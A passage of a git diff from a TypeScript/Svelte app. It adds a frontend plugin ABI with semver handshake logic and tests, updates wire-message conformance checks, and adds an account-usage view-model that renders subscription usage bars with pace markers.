+ * Views get data via SURFACES (the ui-contract philosophy: backend-declared
+ * data rendered generically) — never via the app store. `registerView`
+ * FORCES the importing plugin's pluginId attribution (the host wraps the
+ * registry call), which is what makes unload-time sweeps exact.
+ */
+import type { ApplyOpsResult, LayoutOp, LayoutTree } from "@dispatch/layout-contract";
+import type { SurfaceSpec } from "@dispatch/ui-contract";
+import type { FRONTEND_ABI_VERSION } from "./version.js";
+
+/** The registration input for one plugin view (as the ABI exposes it). */
+export interface FrontendViewRegistration {
+ /** Registry id — the same id a tile leaf's `view` field names. */
+ readonly id: string;
+ /** Human label shown in panel dropdowns. */
+ readonly label: string;
+ /**
+ * A Svelte 5 component (compiled by the plugin's build against the SHARED
+ * svelte runtime). Opaque here — the host casts it into the registry's
+ * heterogeneous component bag at the seam.
+ */
+ readonly component: unknown;
+ /** Whether the view may appear in panel dropdowns (default true). */
+ readonly panelEligible?: boolean;
+}
+
+/** The per-plugin host API object handed to `activate`. */
+export interface FrontendHostAPI {
+ /** The host's ABI version (the other half of the semver handshake). */
+ readonly abiVersion: typeof FRONTEND_ABI_VERSION;
+ /**
+ * Register a view into the SAME registry built-ins use. pluginId
+ * attribution is FORCED to the importing plugin (the host closes over it)
+ * — plugins cannot attribute views to another plugin. The returned
+ * disposer removes the view (call it from your deactivate).
+ */
+ readonly registerView: (reg: FrontendViewRegistration) => () => void;
+ /**
+ * Talk to backend surfaces — the plugin-view data path. The app
+ * auto-subscribes every catalog entry, so `getSpec` typically returns
+ * data immediately for surfaces your plugin's backend half declares;
+ * subscribe/unsubscribe re-assert scopes explicitly.
+ */
+ readonly surfaces: {
+ readonly subscribe: (surfaceId: string, conversationId?: string) => void;
+ readonly unsubscribe: (surfaceId: string, conversationId?: string) => void;
+ readonly invoke: (
+ surfaceId: string,
+ actionId: string,
+ payload?: unknown,
+ conversationId?: string,
+ ) => void;
+ readonly getSpec: (surfaceId: string) => SurfaceSpec | null;
+ };
+ readonly logger: { info: (msg: string) => void; warn: (msg: string) => void };
+ /**
+ * Edit the ACTIVE workspace's layout through the provider (plan 04 §4.5 —
+ * the additive ABI bump; v1 plugins keep working, a plugin REQUIRING the
+ * layout member declares `frontend.apiVersion: "^1.1"`). A thin adapter
+ * over `POST /workspaces/:id/layout/ops` (the same kit `applyOps` the
+ * service exposes — one code path, two doors):
+ * - the ops are the `@dispatch/layout-contract` vocabulary (prefer the
+ * idempotent `ensure*` ops; address by node ID, never by numeric path);
+ * - the batch is ATOMIC — any failed op persists nothing and the result
+ * names it (`failedOp`);
+ * - no layout provider active (the route 404s) → the typed no-provider
+ * error `{ ok: false, error: "no layout provider active" }` — handle it;
+ * the provider may also load later (retry on workspace switches).
+ */
+ readonly layout: {
+ readonly applyOps: (ops: readonly LayoutOp[]) => Promise<ApplyOpsResult>;
+ /** The ACTIVE workspace's tree; `null` in no-provider mode. */
+ readonly getTree: () => LayoutTree | null;
+ };
+}
+
+/**
+ * What `activate` may return: nothing, or the deactivate disposer (the
+ * plan-03 deactivate contract). A named alias keeps the plan grammar
+ * readable; the suppression is needed because biome flags `void` inside a
+ * union type — here it is the plan-specified shape.
+ */
+// biome-ignore lint/suspicious/noConfusingVoidType: plan-specified activate grammar — "may return a disposer" (the deactivate contract)
+export type FrontendActivateResult = void | (() => void);
+
+/** The module shape a frontend plugin's entry must default-export. */
+export interface FrontendPluginModule {
+ readonly default: {
+ /**
+ * Register the plugin's views/ports. MAY return a deactivate disposer —
+ * run on unload/disable BEFORE the host's unregister-by-pluginId sweep
+ * (the sweep is the safety net, not the primary path).
+ */
+ activate(api: FrontendHostAPI): FrontendActivateResult;
+ };
+}
+
+/** The per-plugin FRONTEND lifecycle state the manager UI renders. */
+export type FrontendPluginState =
+ | { readonly kind: "loaded" }
+ | { readonly kind: "incompatible"; readonly apiVersion: string }
+ | { readonly kind: "failed"; readonly error: string };
diff --git a/src/core/plugin-abi/version.test.ts b/src/core/plugin-abi/version.test.ts
new file mode 100644
index 0000000..ab4d34b
--- /dev/null
+++ b/src/core/plugin-abi/version.test.ts
@@ -0,0 +1,65 @@
+import { describe, expect, it } from "vitest";
+import { FRONTEND_ABI_VERSION, isFrontendCompatible } from "./version.js";
+
+describe("FRONTEND_ABI_VERSION", () => {
+ it("is 1.1 (plan 04 — the additive layout member bumped the minor)", () => {
+ expect(FRONTEND_ABI_VERSION).toBe("1.1");
+ });
+});
+
+describe("isFrontendCompatible — handshake accept/reject matrix (host 1.1.0)", () => {
+ it("accepts the canonical authoring range ^1 (v1 plugins keep working — the plan-04 promise)", () => {
+ expect(isFrontendCompatible("^1")).toBe(true);
+ expect(isFrontendCompatible("^1.0")).toBe(true);
+ expect(isFrontendCompatible("^1.0.0")).toBe(true);
+ });
+
+ it("accepts the bare major version (a major-compatibility claim: additive bumps never strand it)", () => {
+ expect(isFrontendCompatible("1")).toBe(true);
+ expect(isFrontendCompatible("~1")).toBe(true);
+ });
+
+ it("accepts plugins that REQUIRE the 1.1 ABI (^1.1 — the layout-declaring grammar)", () => {
+ expect(isFrontendCompatible("^1.1")).toBe(true);
+ expect(isFrontendCompatible("^1.1.0")).toBe(true);
+ });
+
+ it("accepts wildcard and >= ranges", () => {
+ expect(isFrontendCompatible("*")).toBe(true);
+ expect(isFrontendCompatible(">=1.0.0")).toBe(true);
+ });
+
+ it("rejects a next-major caret range", () => {
+ expect(isFrontendCompatible("^2")).toBe(false);
+ expect(isFrontendCompatible("^2.0.0")).toBe(false);
+ });
+
+ it("rejects an older pinned range", () => {
+ expect(isFrontendCompatible("0.9.0")).toBe(false);
+ expect(isFrontendCompatible("^0.1.0")).toBe(false);
+ });
+
+ it("rejects a tilde/pin at an OLDER explicit minor (explicit pins reject additive bumps)", () => {
+ expect(isFrontendCompatible("~0.9.0")).toBe(false);
+ expect(isFrontendCompatible("~1.0.0")).toBe(false);
+ expect(isFrontendCompatible("1.0.0")).toBe(false);
+ expect(isFrontendCompatible("^1.0")).not.toBe(false); // caret 1.x tracks the major
+ });
+
+ it("rejects malformed ranges (fail closed, never throws)", () => {
+ expect(isFrontendCompatible("")).toBe(false);
+ expect(isFrontendCompatible("banana")).toBe(false);
+ expect(isFrontendCompatible("^abc")).toBe(false);
+ expect(isFrontendCompatible("1.0.0.0")).toBe(false);
+ });
+
+ it("the host version pins the answer (injectable for tests)", () => {
+ // At a hypothetical 1.0.0 host, ^1.1 (needing the layout member) excludes;
+ // at 1.1.0 it includes — the gate is real, not decorative.
+ expect(isFrontendCompatible("^1.1", "1.0.0")).toBe(false);
+ expect(isFrontendCompatible("^1.1", "1.1.0")).toBe(true);
+ // "~1.0.0" pins minor 0: excludes a 1.1.0 host, includes a 1.0.x host.
+ expect(isFrontendCompatible("~1.0.0", "1.1.0")).toBe(false);
+ expect(isFrontendCompatible("~1.0.0", "1.0.0")).toBe(true);
+ });
+});
diff --git a/src/core/plugin-abi/version.ts b/src/core/plugin-abi/version.ts
new file mode 100644
index 0000000..e5a0168
--- /dev/null
+++ b/src/core/plugin-abi/version.ts
@@ -0,0 +1,99 @@
+/**
+ * The frontend plugin ABI version + the semver handshake (plan 03 §3.2).
+ *
+ * FRONTEND_ABI_VERSION is bumped on BREAKING ABI changes only — an ADDITIVE
+ * member bumps the MINOR (plan 04 added `layout`: "1" → "1.1"; v1 plugins
+ * keep working, see the bare-major rule below). A plugin's
+ * `manifest.frontend.apiVersion` is a semver RANGE that must include the
+ * host's version; a mismatch lists the plugin as "incompatible frontend
+ * plugin" in the manager UI and its module is NEVER imported.
+ *
+ * `isFrontendCompatible` mirrors the backend kernel's
+ * `isApiVersionCompatible` semantics (host/src/host/version.ts) so both
+ * sides of the handshake behave identically. It additionally accepts
+ * major-only versions/ranges ("1", "^1") — the ABI's version grammar is
+ * single-number, normalized here to x.y.z with zeros — because a frontend
+ * ABI ("1") is not a kernel release ("0.1.0") and authors declare `"^1"`.
+ * A BARE-major range ("1", "^1", "~1" — no explicit minor) is a
+ * MAJOR-compatibility claim: it accepts every additive (minor) bump of that
+ * major, which is what makes "^1"/"1" plugins keep working on the 1.1 ABI
+ * (an author pinning minor/patch declares it explicitly: "1.0.0", "~1.0").
+ */
+
+export const FRONTEND_ABI_VERSION = "1.1";
+
+/**
+ * The host version the handshake checks against (normalized to semver) —
+ * tracks FRONTEND_ABI_VERSION's major.minor at a 0 patch.
+ */
+const HOST_VERSION = "1.1.0";
+
+interface SemVer {
+ readonly major: number;
+ readonly minor: number;
+ readonly patch: number;
+ /** The range string named the minor EXPLICITLY (a pin, not a bare major). */
+ readonly explicitMinor: boolean;
+}
+
+/** Parse a 1–3 component version ("1", "1.0", "1.0.0") — missing parts are 0. */
+function parseSemver(version: string): SemVer | null {
+ const match = version.match(/^(\d+)(?:\.(\d+))?(?:\.(\d+))?$/);
+ if (!match) return null;
+ return {
+ major: Number(match[1]),
+ minor: Number(match[2] ?? 0),
+ patch: Number(match[3] ?? 0),
+ explicitMinor: match[2] !== undefined,
+ };
+}
+
+function gte(a: SemVer, b: SemVer): boolean {
+ if (a.major !== b.major) return a.major > b.major;
+ if (a.minor !== b.minor) return a.minor > b.minor;
+ return a.patch >= b.patch;
+}
+
+/**
+ * Whether the plugin's declared `frontend.apiVersion` range includes the
+ * host's FRONTEND_ABI_VERSION. A malformed range is NEVER compatible (a
+ * plugin-verify check catches it at authoring time; the handshake fails
+ * closed here).
+ */
+export function isFrontendCompatible(apiVersion: string, hostVersion = HOST_VERSION): boolean {
+ const range = apiVersion.trim();
+ if (range === "*") return true;
+ const host = parseSemver(hostVersion);
+ if (host === null) return false;
+
+ if (range.startsWith("^")) {
+ const min = parseSemver(range.slice(1));
+ if (min === null) return false;
+ if (!gte(host, min)) return false;
+ if (min.major === 0) {
+ return host.major === 0 && (min.explicitMinor ? host.minor === min.minor : true);
+ }
+ return host.major === min.major;
+ }
+ if (range.startsWith("~")) {
+ const min = parseSemver(range.slice(1));
+ if (min === null) return false;
+ if (!gte(host, min)) return false;
+ // A BARE "~1" is a major-compatibility claim (any 1.x.y); an explicit
+ // minor ("~1.0") pins the minor, as tilde always has.
+ if (!min.explicitMinor) return host.major === min.major;
+ return host.major === min.major && host.minor === min.minor;
+ }
+ if (range.startsWith(">=")) {
+ const min = parseSemver(range.slice(2));
+ if (min === null) return false;
+ return gte(host, min);
+ }
+ const exact = parseSemver(range);
+ if (exact === null) return false;
+ // A BARE major ("1") names the major only — it accepts that major's
+ // additive bumps (the "v1 plugins keep working" rule). An explicit
+ // version ("1.0", "1.0.0") pins exactly, as before.
+ if (!exact.explicitMinor) return host.major === exact.major;
+ return host.major === exact.major && host.minor === exact.minor && host.patch === exact.patch;
+}
diff --git a/src/core/wire/conformance.test.ts b/src/core/wire/conformance.test.ts
index 0d955d5..6bafda1 100644
--- a/src/core/wire/conformance.test.ts
+++ b/src/core/wire/conformance.test.ts
@@ -1,4 +1,8 @@
-import type { ChatSendMessage, ConversationHistoryResponse } from "@dispatch/transport-contract";
+import type {
+ ChatSendMessage,
+ ConversationHistoryResponse,
+ WsServerMessage,
+} from "@dispatch/transport-contract";
import type { AgentEvent, StepId, StoredChunk } from "@dispatch/wire";
import { describe, expect, it } from "vitest";
import {
@@ -75,6 +79,7 @@ describe("classifies every AgentEvent type", () => {
{ type: "error", conversationId: "c1", turnId: "t1", message: "oops" },
{ type: "done", conversationId: "c1", turnId: "t1", reason: "complete" },
{ type: "turn-sealed", conversationId: "c1", turnId: "t1" },
+ { type: "turn-ended", conversationId: "c1", turnId: "t1", reason: "sealed" },
{ type: "steering", conversationId: "c1", turnId: "t1", text: "steer mid-turn" },
{
type: "provider-retry",
@@ -103,13 +108,14 @@ describe("classifies every AgentEvent type", () => {
"error",
"done",
"turn-sealed",
+ "turn-ended",
"steering",
"provider-retry",
]);
});
- it("covers all 15 AgentEvent variants", () => {
- expect(samples).toHaveLength(15);
+ it("covers all 16 AgentEvent variants", () => {
+ expect(samples).toHaveLength(16);
});
});
@@ -172,6 +178,23 @@ describe("classifies every WsServerMessage type", () => {
event: { type: "done" as const, conversationId: "c", turnId: "t", reason: "r" },
},
{ type: "chat.error" as const, message: "e" },
+ { type: "chat.accepted" as const, conversationId: "c1", requestId: "r1" },
+ {
+ type: "chat.subscription-rejected" as const,
+ conversationId: "c1",
+ reason: "subscription-limit" as const,
+ },
+ {
+ type: "chat.queued" as const,
+ conversationId: "conv-1",
+ reason: "compaction" as const,
+ messageId: "queued-1",
+ },
+ {
+ type: "chat.resync-required" as const,
+ conversationId: "c1",
+ reason: "replay-limit" as const,
+ },
{ type: "conversation.open" as const, conversationId: "c1", workspaceId: "w1" },
{
type: "conversation.statusChanged" as const,
@@ -184,9 +207,32 @@ describe("classifies every WsServerMessage type", () => {
conversationId: "c1",
newConversationId: "c2",
messagesSummarized: 10,
+ historyEpoch: 0,
messagesKept: 5,
},
+ {
+ type: "conversation.tabGroupChanged" as const,
+ conversationId: "c1",
+ workspaceId: "w1",
+ tabGroupParentId: null,
+ },
+ { type: "extensions-changed" as const, action: "scan" as const },
+ {
+ type: "layout" as const,
+ workspaceId: "w1",
+ tree: { version: 1 as const, root: { kind: "leaf" as const, id: "leaf1", view: "chat" } },
+ },
+ {
+ type: "tile-layout" as const,
+ mode: "wide" as const,
+ data: { version: 2 as const, tiles: [] },
+ },
];
+ // Runtime samples stay exhaustive too, not just the switch guard.
+ const covered: Exclude<WsServerMessage["type"], (typeof msgs)[number]["type"]> extends never
+ ? true
+ : false = true;
+ expect(covered).toBe(true);
const labels = msgs.map(assertWsServerMessageExhaustive);
expect(labels).toEqual([
"catalog",
@@ -195,9 +241,17 @@ describe("classifies every WsServerMessage type", () => {
"error",
"chat.delta",
"chat.error",
+ "chat.accepted",
+ "chat.subscription-rejected",
+ "chat.queued",
+ "chat.resync-required",
"conversation.open",
"conversation.statusChanged",
"conversation.compacted",
+ "conversation.tabGroupChanged",
+ "extensions-changed",
+ "layout",
+ "tile-layout",
]);
});
});
@@ -212,6 +266,7 @@ describe("classifies every WsClientMessage type", () => {
{ type: "chat.subscribe" as const, conversationId: "c1" },
{ type: "chat.unsubscribe" as const, conversationId: "c1" },
{ type: "chat.queue" as const, conversationId: "c1", text: "steer" },
+ { type: "chat.queue.cancel" as const, conversationId: "c1", messageId: "m1" },
];
const labels = msgs.map(assertWsClientMessageExhaustive);
expect(labels).toEqual([
@@ -222,6 +277,7 @@ describe("classifies every WsClientMessage type", () => {
"chat.subscribe",
"chat.unsubscribe",
"chat.queue",
+ "chat.queue.cancel",
]);
});
});
@@ -266,6 +322,7 @@ describe("ConversationHistoryResponse shape is constructible", () => {
it("constructs a response with chunks", () => {
const resp: ConversationHistoryResponse = {
chunks: [{ seq: 1, role: "user", chunk: { type: "text", text: "hi" } }],
+ historyEpoch: 0,
latestSeq: 1,
};
expect(resp.chunks).toHaveLength(1);
@@ -273,7 +330,7 @@ describe("ConversationHistoryResponse shape is constructible", () => {
});
it("constructs an empty (caught-up) response", () => {
- const resp: ConversationHistoryResponse = { chunks: [], latestSeq: 5 };
+ const resp: ConversationHistoryResponse = { chunks: [], historyEpoch: 0, latestSeq: 5 };
expect(resp.chunks).toHaveLength(0);
expect(resp.latestSeq).toBe(5);
});
diff --git a/src/core/wire/conformance.ts b/src/core/wire/conformance.ts
index bfa67dc..eff2330 100644
--- a/src/core/wire/conformance.ts
+++ b/src/core/wire/conformance.ts
@@ -18,6 +18,8 @@ export function assertAgentEventExhaustive(event: AgentEvent): string {
return "text-delta";
case "reasoning-delta":
return "reasoning-delta";
+ case "reasoning-end":
+ return "reasoning-end";
case "tool-call":
return "tool-call";
case "tool-result":
@@ -32,6 +34,8 @@ export function assertAgentEventExhaustive(event: AgentEvent): string {
return "done";
case "turn-sealed":
return "turn-sealed";
+ case "turn-ended":
+ return "turn-ended";
case "step-complete":
return "step-complete";
case "steering":
@@ -83,6 +87,14 @@ export function assertWsServerMessageExhaustive(msg: WsServerMessage): string {
return "error";
case "chat.delta":
return "chat.delta";
+ case "chat.resync-required":
+ return "chat.resync-required";
+ case "chat.accepted":
+ return "chat.accepted";
+ case "chat.subscription-rejected":
+ return "chat.subscription-rejected";
+ case "chat.queued":
+ return "chat.queued";
case "chat.error":
return "chat.error";
case "conversation.open":
@@ -91,6 +103,14 @@ export function assertWsServerMessageExhaustive(msg: WsServerMessage): string {
return "conversation.statusChanged";
case "conversation.compacted":
return "conversation.compacted";
+ case "conversation.tabGroupChanged":
+ return "conversation.tabGroupChanged";
+ case "extensions-changed":
+ return "extensions-changed";
+ case "layout":
+ return "layout";
+ case "tile-layout":
+ return "tile-layout";
default:
return msg satisfies never;
}
@@ -116,6 +136,10 @@ export function assertWsClientMessageExhaustive(msg: WsClientMessage): string {
return "chat.unsubscribe";
case "chat.queue":
return "chat.queue";
+ case "chat.queue.cancel":
+ return "chat.queue.cancel";
+ case "workspace.set":
+ return "workspace.set";
default:
return msg satisfies never;
}
diff --git a/src/features/account-usage/index.ts b/src/features/account-usage/index.ts
new file mode 100644
index 0000000..76204dc
--- /dev/null
+++ b/src/features/account-usage/index.ts
@@ -0,0 +1,41 @@
+export type {
+ AccountUsageDailyCredits,
+ AccountUsageLimit,
+ AccountUsageProviderId,
+ AccountUsageReport,
+ AccountUsageResponse,
+ AccountUsageResult,
+ AccountUsageSettingsResult,
+ AccountUsageState,
+ LoadAccountUsage,
+ SaveAccountUsageSettings,
+ UpdateAccountUsageSettingsRequest,
+} from "./logic/types";
+export type {
+ BarTone,
+ DailyCreditsView,
+ ProviderCardView,
+ UsageBarView,
+} from "./logic/view-model";
+export {
+ anchorFromTimeOfDay,
+ elapsedFraction,
+ formatAge,
+ formatDuration,
+ normalizeAccountUsage,
+ normalizeAccountUsageReport,
+ parseAllowanceInput,
+ toLocalTimeOfDay,
+ viewProviderCard,
+ viewProviderCards,
+ viewUsageBar,
+} from "./logic/view-model";
+export { default as AccountUsageView } from "./ui/AccountUsageView.svelte";
+export { default as DailyCreditsSettings } from "./ui/DailyCreditsSettings.svelte";
+export { default as UsageBar } from "./ui/UsageBar.svelte";
+
+/** Public module manifest — aggregated by the shell's "Loaded Modules" view. */
+export const manifest = {
+ name: "account-usage",
+ description: "Claude + Codex + Hyper subscription usage bars with on-track pace markers",
+} as const;
diff --git a/src/features/account-usage/logic/types.ts b/src/features/account-usage/logic/types.ts
new file mode 100644
index 0000000..ff92590
--- /dev/null
+++ b/src/features/account-usage/logic/types.ts
@@ -0,0 +1,48 @@
+import type {
+ AccountUsageDailyCredits,
+ AccountUsageLimit,
+ AccountUsageProviderId,
+ AccountUsageReport,
+ AccountUsageResponse,
+ AccountUsageState,
+ UpdateAccountUsageSettingsRequest,
+} from "@dispatch/transport-contract";
+
+/**
+ * Pure core types for the account-usage feature — zero DOM, zero effects.
+ *
+ * The backend (`account-usage` extension, transport-contract 0.25.0) polls the
+ * Claude + Codex subscription usage endpoints and caches them (5 min TTL,
+ * failure cooldowns, last-good retention). The FE reads `GET /usage`; a manual
+ * refresh sends `?refresh=1`, which the server still rate-limits.
+ */
+export type {
+ AccountUsageDailyCredits,
+ AccountUsageLimit,
+ AccountUsageProviderId,
+ AccountUsageReport,
+ AccountUsageResponse,
+ AccountUsageState,
+ UpdateAccountUsageSettingsRequest,
+};
+
+/** Outcome of `GET /usage`. `unavailable` = the backend extension isn't loaded (503). */
+export type AccountUsageResult =
+ | { readonly ok: true; readonly usage: AccountUsageResponse }
+ | { readonly ok: false; readonly error: string; readonly unavailable?: boolean };
+
+/** Injected port: load the account usage (`refresh` asks the server to bypass its TTL). */
+export type LoadAccountUsage = (opts?: {
+ readonly refresh?: boolean;
+}) => Promise<AccountUsageResult>;
+
+/** Outcome of `PUT /usage/:provider/settings` — the provider's refreshed report. */
+export type AccountUsageSettingsResult =
+ | { readonly ok: true; readonly report: AccountUsageReport }
+ | { readonly ok: false; readonly error: string };
+
+/** Injected port: update a provider's usage settings (today only `hyper`). */
+export type SaveAccountUsageSettings = (
+ provider: AccountUsageProviderId,
+ settings: UpdateAccountUsageSettingsRequest,
+) => Promise<AccountUsageSettingsResult>;
diff --git a/src/features/account-usage/logic/view-model.test.ts b/src/features/account-usage/logic/view-model.test.ts
new file mode 100644
index 0000000..78390cf
--- /dev/null
+++ b/src/features/account-usage/logic/view-model.test.ts
@@ -0,0 +1,277 @@
+import type { AccountUsageLimit, AccountUsageReport } from "@dispatch/transport-contract";
+import { describe, expect, it } from "vitest";
+import {
+ anchorFromTimeOfDay,
+ elapsedFraction,
+ formatDuration,
+ normalizeAccountUsage,
+ parseAllowanceInput,
+ toLocalTimeOfDay,
+ viewProviderCard,
+ viewUsageBar,
+} from "./view-model";
+
+const HOUR = 3_600_000;
+const DAY = 24 * HOUR;
+const NOW = 1_760_000_000_000;
+
+function limit(over: Partial<AccountUsageLimit> = {}): AccountUsageLimit {
+ return {
+ id: "claude:5h",
+ label: "5 Hour",
+ kind: "window",
+ windowId: "5h",
+ shared: true,
+ tier: null,
+ durationMs: 5 * HOUR,
+ resetsAt: NOW + 2 * HOUR,
+ unit: "percent",
+ used: 40,
+ limit: 100,
+ remaining: 60,
+ usedFraction: 0.4,
+ remainingFraction: 0.6,
+ status: "ok",
+ ...over,
+ };
+}
+
+function report(over: Partial<AccountUsageReport> = {}): AccountUsageReport {
+ return {
+ provider: "claude",
+ label: "Claude",
+ state: "fresh",
+ account: { accountId: "a", email: "[email protected]", planType: "max" },
+ limits: [limit()],
+ limitReached: null,
+ canServe: null,
+ creditOverage: false,
+ credits: null,
+ dailyCredits: null,
+ fetchedAt: NOW - 3 * 60_000,
+ lastAttemptAt: NOW - 3 * 60_000,
+ nextRefreshAt: NOW + 2 * 60_000,
+ error: null,
+ ...over,
+ };
+}
+
+describe("pace marker (elapsedFraction)", () => {
+ it("is halfway two weeks into a four-week window", () => {
+ const resetsAt = NOW + 14 * DAY;
+ expect(elapsedFraction(28 * DAY, resetsAt, NOW)).toBeCloseTo(0.5);
+ });
+
+ it("clamps to 0..1 and is null when the window is unknown", () => {
+ expect(elapsedFraction(5 * HOUR, NOW + 10 * HOUR, NOW)).toBe(0);
+ expect(elapsedFraction(5 * HOUR, NOW - HOUR, NOW)).toBe(1);
+ expect(elapsedFraction(null, NOW, NOW)).toBeNull();
+ expect(elapsedFraction(5 * HOUR, null, NOW)).toBeNull();
+ });
+});
+
+describe("viewUsageBar", () => {
+ it("places the pace marker at elapsed % and labels ahead/under pace", () => {
+ // 5h window resetting in 2h ⇒ 3h elapsed ⇒ 60% pace; used 40% ⇒ 20% under.
+ const bar = viewUsageBar(limit(), NOW);
+ expect(bar.percent).toBe(40);
+ expect(bar.pacePercent).toBeCloseTo(60);
+ expect(bar.paceLabel).toBe("20% under pace");
+ expect(bar.aheadOfPace).toBe(false);
+ expect(bar.resetLabel).toBe("resets in 2h");
+ expect(bar.valueLabel).toBe("40%");
+ expect(bar.tone).toBe("success");
+
+ const ahead = viewUsageBar(limit({ used: 80, usedFraction: 0.8 }), NOW);
+ expect(ahead.paceLabel).toBe("20% ahead of pace");
+ expect(ahead.aheadOfPace).toBe(true);
+ expect(ahead.tone).toBe("warning");
+ });
+
+ it("has no pace marker for spend meters; formats dollars", () => {
+ const spend = viewUsageBar(
+ limit({
+ id: "claude:extra",
+ kind: "spend",
+ unit: "usd",
+ durationMs: null,
+ resetsAt: null,
+ used: 12.5,
+ limit: 50,
+ usedFraction: 0.25,
+ }),
+ NOW,
+ );
+ expect(spend.pacePercent).toBeNull();
+ expect(spend.valueLabel).toBe("$12.50 / $50.00");
+ const uncapped = viewUsageBar(
+ limit({
+ unit: "usd",
+ kind: "spend",
+ limit: null,
+ usedFraction: null,
+ used: 3,
+ durationMs: null,
+ }),
+ NOW,
+ );
+ expect(uncapped.valueLabel).toBe("$3.00 (no cap)");
+ expect(uncapped.percent).toBe(0);
+ });
+
+ it("exhausted → error tone", () => {
+ expect(viewUsageBar(limit({ used: 100, usedFraction: 1, status: "exhausted" }), NOW).tone).toBe(
+ "error",
+ );
+ });
+});
+
+describe("viewProviderCard", () => {
+ it("fresh card with subtitle and age", () => {
+ const c = viewProviderCard(report(), NOW);
+ expect(c.subtitle).toBe("Max · [email protected]");
+ expect(c.stateBadge).toBeNull();
+ expect(c.message).toBeNull();
+ expect(c.ageLabel).toBe("3m ago");
+ expect(c.bars).toHaveLength(1);
+ });
+
+ it("stale / not-configured / unsupported states", () => {
+ const stale = viewProviderCard(report({ state: "stale", error: "HTTP 429" }), NOW);
+ expect(stale.stateBadge).toBe("stale");
+ expect(stale.message).toContain("HTTP 429");
+ const nc = viewProviderCard(
+ report({
+ provider: "codex",
+ label: "Codex",
+ state: "not-configured",
+ limits: [],
+ account: null,
+ }),
+ NOW,
+ );
+ expect(nc.stateBadge).toBe("not configured");
+ expect(nc.message).toContain("Codex");
+ expect(nc.ageLabel).toBeNull();
+ const un = viewProviderCard(
+ report({ state: "unsupported", error: "api key", limits: [] }),
+ NOW,
+ );
+ expect(un.message).toBe("api key");
+ });
+
+ it("credit overage note", () => {
+ const c = viewProviderCard(
+ report({ creditOverage: true, limitReached: true, canServe: true }),
+ NOW,
+ );
+ expect(c.creditNote).toContain("credits");
+ });
+});
+
+describe("normalizeAccountUsage", () => {
+ it("coerces a well-formed body and drops malformed rows", () => {
+ const n = normalizeAccountUsage(
+ {
+ servedAt: 5,
+ providers: [
+ { ...report(), limits: [limit(), { id: "bad" }] },
+ { provider: "gemini" },
+ "junk",
+ ],
+ },
+ 0,
+ );
+ expect(n.servedAt).toBe(5);
+ expect(n.providers).toHaveLength(1);
+ expect(n.providers[0]?.limits).toHaveLength(1);
+ });
+
+ it("malformed body → empty", () => {
+ expect(normalizeAccountUsage(null, 9)).toEqual({ providers: [], servedAt: 9 });
+ });
+});
+
+describe("formatDuration", () => {
+ it("formats", () => {
+ expect(formatDuration(30_000)).toBe("<1m");
+ expect(formatDuration(45 * 60_000)).toBe("45m");
+ expect(formatDuration(3 * HOUR + 12 * 60_000)).toBe("3h 12m");
+ expect(formatDuration(2 * DAY + 4 * HOUR)).toBe("2d 4h");
+ });
+});
+
+describe("hyper daily credits", () => {
+ const hyperLimit = limit({
+ id: "hyper:daily",
+ label: "Daily credits",
+ windowId: "1d",
+ unit: "credits",
+ durationMs: DAY,
+ resetsAt: NOW + 12 * HOUR,
+ used: 150,
+ limit: 250,
+ remaining: 100,
+ usedFraction: 0.6,
+ });
+
+ it("formats credits and places the pace marker halfway through the day", () => {
+ const bar = viewUsageBar(hyperLimit, NOW);
+ expect(bar.valueLabel).toBe("150 / 250");
+ expect(bar.pacePercent).toBeCloseTo(50);
+ expect(bar.paceLabel).toBe("10% ahead of pace");
+ });
+
+ it("card exposes balance + reset source", () => {
+ const c = viewProviderCard(
+ report({
+ provider: "hyper",
+ label: "Hyper",
+ account: { accountId: null, email: null, planType: null },
+ limits: [hyperLimit],
+ dailyCredits: { balance: 300, allowance: 250, resetAnchor: null, resetSource: null },
+ }),
+ NOW,
+ );
+ expect(c.daily).toMatchObject({
+ balanceLabel: "300 credits left (incl. bundles)",
+ allowance: 250,
+ resetTime: "",
+ resetSource: null,
+ });
+ expect(c.daily?.resetSourceLabel).toContain("unknown");
+ });
+
+ it("round-trips a local time of day into a past anchor", () => {
+ const now = new Date(2026, 9, 14, 15, 30).getTime();
+ const a = anchorFromTimeOfDay("09:00", now);
+ expect(a).toBe(new Date(2026, 9, 14, 9, 0).getTime());
+ expect(anchorFromTimeOfDay("17:00", now)).toBe(new Date(2026, 9, 13, 17, 0).getTime());
+ expect(toLocalTimeOfDay(a ?? 0)).toBe("09:00");
+ expect(anchorFromTimeOfDay("25:00", now)).toBeNull();
+ expect(anchorFromTimeOfDay("noon", now)).toBeNull();
+ });
+
+ it("parses the allowance input", () => {
+ expect(parseAllowanceInput(" 250 ")).toBe(250);
+ expect(parseAllowanceInput("0")).toBeNull();
+ expect(parseAllowanceInput("2.5")).toBeNull();
+ });
+
+ it("normalizes hyper reports + credit units", () => {
+ const n = normalizeAccountUsage(
+ {
+ providers: [
+ {
+ ...report({ provider: "hyper" }),
+ limits: [hyperLimit],
+ dailyCredits: { balance: 1, allowance: 250, resetAnchor: 5, resetSource: "manual" },
+ },
+ ],
+ },
+ 0,
+ );
+ expect(n.providers[0]?.limits[0]?.unit).toBe("credits");
+ expect(n.providers[0]?.dailyCredits?.resetSource).toBe("manual");
+ });
+});
diff --git a/src/features/account-usage/logic/view-model.ts b/src/features/account-usage/logic/view-model.ts
new file mode 100644
index 0000000..17d37a6
--- /dev/null
+++ b/src/features/account-usage/logic/view-model.ts
@@ -0,0 +1,403 @@
+import type {
+ AccountUsageCredits,
+ AccountUsageDailyCredits,
+ AccountUsageLimit,
+ AccountUsageLimitStatus,
+ AccountUsageProviderId,
+ AccountUsageReport,
+ AccountUsageResponse,
+ AccountUsageState,
+} from "@dispatch/transport-contract";
+
+/**
+ * Pure view-models for the account-usage feature — zero DOM, zero effects,
+ * zero Svelte. Coerces the untyped `GET /usage` JSON, and shapes each limit
+ * into a bar: fill %, colour, and the PACE MARKER — where usage "should" be
+ * to use the whole allowance exactly by the reset (elapsed fraction of the
+ * window: 2 weeks into a 4-week window ⇒ 50%).
+ */
+
+// ── Normalization (network seam) ──────────────────────────────────────────────
+
+function isRecord(v: unknown): v is Record<string, unknown> {
+ return typeof v === "object" && v !== null && !Array.isArray(v);
+}
+function num(v: unknown): number | null {
+ return typeof v === "number" && Number.isFinite(v) ? v : null;
+}
+function str(v: unknown): string | null {
+ return typeof v === "string" ? v : null;
+}
+function bool(v: unknown): boolean | null {
+ return typeof v === "boolean" ? v : null;
+}
+
+const STATES: readonly AccountUsageState[] = [
+ "fresh",
+ "stale",
+ "unavailable",
+ "unsupported",
+ "not-configured",
+];
